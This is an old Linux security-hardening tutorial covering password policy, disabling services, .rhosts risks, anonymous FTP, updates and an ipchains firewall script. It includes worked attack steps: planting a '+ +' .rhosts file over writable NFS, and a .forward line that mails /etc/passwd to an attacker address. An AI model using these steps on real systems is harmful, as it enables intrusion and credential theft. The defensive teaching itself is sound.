Running a password cracker on a daily basis on your system is a good start. This helps to find and replace passwords that are easily guessed. Also, a password checking program should be present to reject a weak passwords when choosing a password or changing an old one. Character strings that are plain dictionary words, or do not contain digits or special characters should not be accepted. A good password strategy should be made and enforced. The best strategy I have seen was when I was working at a Cyber Crime agency that I will keep nameless for my own security purposes. They would have thier employees pick a phrase from the employees religious text, such as "Eight words the wiccan rede fulfill, An ye harm none do as ye will!" and take the first letter of each word, "ewtwrfayhndayw" and insert your work ID number in a pattern, "ew4tw1rf5ay0hn4da2yw", and with a jumbled mesh like this that the employees could remember, this strongly increased security of the whole company.
Word lists, also known as dictionary files, that can be fed into a password cracker can be easily gotten on the Internet. These files usually contain usernames, real world words, and numerical patterns. None that I have seen contains words like "ew4tw1rf5ay0hn4da2yw". But there are more advanced password crackers that contain an Incremental Cracking Mode, that will guess every combination of every letter, digit, and special character until the password is found. As you could guess this would take an enormous amount of time and usually an attacker would much rather go after an easier target than spend that much time on one user account.

2)
Running Services

  Another big threat against a computers security is having services running that are not really needed. By default many distro's of Linux have HTTP, FTP, SMB, Sendmail, and many other sevices running right from the beginning. When I install a distribution the first thing I do is run a portscanner, I suggest NMAP, on the system to see all services running. To do so using NMAP try typing:

nmap -sS 127.0.0.1

  This will display a list of all open ports on your system including the name of the service. Once you find all the services that are running decide which ones that you want and close all the rest. NOTE: Unless you SERIOUSLY need it always disable Sendmail.
Sendmail is one of the biggest security risks in Linux/Unix Operating Systems and I usually totally delete it off of the system I am installing. But if you want to keep the service but don't want it running type "ps aux | grep" to display all the process ID's (PID) of everything running. Then, once you have the running services PID all you have to do is type "kill -9 >PID<" and enter. Another thing to do is to comment out the services in your start-up scripts so they wont be turned back on when your computer restarts.

3)
.rhost

Using .rhost files is a big security risk and they should not be used. When I was working for a Tiger Team ( a group of hackers that companies pay to break into thier computers and give advice on security ) one of my favorite attacks used .rhost. This took advantage of the user running a poorly configured NFS service.
I would find out what file systems the user had running then look to see if any were word writable ( do this on your computer by typing 'showmount -e' ) once I found a word writable file system, I would mount my computer to it and place a .rhost file with '+ +' as the first line into a users home directory. Then all I had to do is telenet to the victim computer and enter the users name that I planted the .rhost file in and the system was compromised.

4)
Anon FTP

  Disable anonymous FTP servers. Unless you are very, very carefull an attacker can easily get your password file and as discribed earlier can then crack your passwords. Anon FTP can be easily cracked like so:
  1. Create a fake .forward file that has the following command in it:
    • |/bin/mail attacker@email.com < /etc/passwd
  2. Connect to the victim through FTP and log in as user FTP.
  3. Enter any password you wish.
  4. Upload the .forward file you have created.
  5. Log out and send mail to ftp@victim.machine.com.
  Sit back as victim.machine.com e-mails you a copy of its local password file

  In five steps that take about two minutes to complete ( depending on the attacker's modem speed ) the attacker has a copy of your password file that he/she will slowly but surely decypher and your system will be compromised. My rule of thumb is to never run Anonymous FTP Daemons but if you really want to, here is a list of rules that should help your run a fairly safe Anonymous FTP Daemon:
  1. Only the /incoming directory should be made writable and only by root and user FTP.
  2. Anonymous FTP users should have only executable (and read) access to the /pub and the /incoming directory.
  3. FTP users should NOT be able to write to /ftp.

5)
Linux Updates

  Keep up to date with all the latest exploits and security issues that come out. There are many news groups that you could join that would send you information on the latest security issues available. Hackers read these and you should too! My favorite of all these and the best out there is the Computer Emergency Responce Team ( CERT ) you can learn all about security there and they keep very up to date.

Here are a few security related links you should check out:
1- CERT Advisories
2- Information Systems Security
3- Anti-Online - "The hackers know, shouldn't you?"

6)
Security Configuration Script

  Normally I don't add anything anyone else writes to my texts, but this was a great script for setting up a quick network security, If you plan to use your Linux box as a Network Router or Gateway, then I suggest you read his tutorial called, Ghost_Rider's Linux Networking Tutorial at http://blacksun.box.sk.
   #!/bin/sh
   # Example ipchains Script
   # By Ghost_Rider
   # For linux networking tutorial

   IPCHAINS="/sbin/ipchains"
   DNSSERVER="PUT UR DNS SERVER HERE"
   
   # flush rules
   
   $IPCHAINS -F input
   $IPCHAINS -F output
   $IPCHAINS -F forward
   
   # Set policies
 
   $IPCHAINS -P input DENY
   $IPCHAINS -P output accept
   $IPCHAINS -P forward DENY
   
   # Accept all local traffic
    
   $IPCHAINS -A input -i lo -j ACCEPT
   $IPCHAINS -A input -i eth0 -j ACCEPT
   
   # Deny private address comming from ppp0
   # Attemps of spoof to use our host to masquerade
   
   $IPCHAINS -A input -i ppp0 -s 10.0.0.0/8 -j DENY
   $IPCHAINS -A input -i ppp0 -s 172.16.0.0/12 -j DENY
   $IPCHAINS -A input -i ppp0 -s 192.168.0.0/24 -j DENY
   
   # Let's set IP Masquerading
   
   echo "1" > /proc/sys/net/ipv4/ip_forward
   $IPCHAINS -A forward -s 192.168.0.0/24 -d ! 192.168.0.0/24 -j MASQ
   
   #  Allow DNS
   
   $IPCHAINS -A input -i ppp0 -p tcp -s $DNSSERVER --sport 53 -j ACCEPT
   $IPCHAINS -A input -i ppp0 -p udp -s $DNSSERVER --sport 53 -j ACCEPT
   
   # Reject auth so you don't have to wait till timeout when sending mails
   
   $IPCHAINS -A input -i ppp0 -p tcp --dport 113 -j REJECT
   
   # Allowing ICMPs necessary
   # 0 = echo reply
   # 3 = Destination unreachable
   # 11 = time exceeded
   
   $IPCHAINS -A input -i ppp0 -p icmp --dport 0 -j ACCEPT
   $IPCHAINS -A input -i ppp0 -p icmp --dport 3 -j ACCEPT
   $IPCHAINS -A input -i ppp0 -p icmp --dport 11 -j ACCEPT
   
   # Log everything else..
   # Let's see what is on the next door
   
   $IPCHAINS -A input -i ppp0 -j DENY -l

Where to get a Linux or Unix Operating System?
FreeBSD - A Free Secure version of Unix.
Slackware Linux - A Free Powerful distro of Linux.
PhatLinux - A Free Linux distro that can be ran on a Windows partion.
PicoBSD - A Small version of FreeBSD that can be ran from a floppy disk!

Contact me here.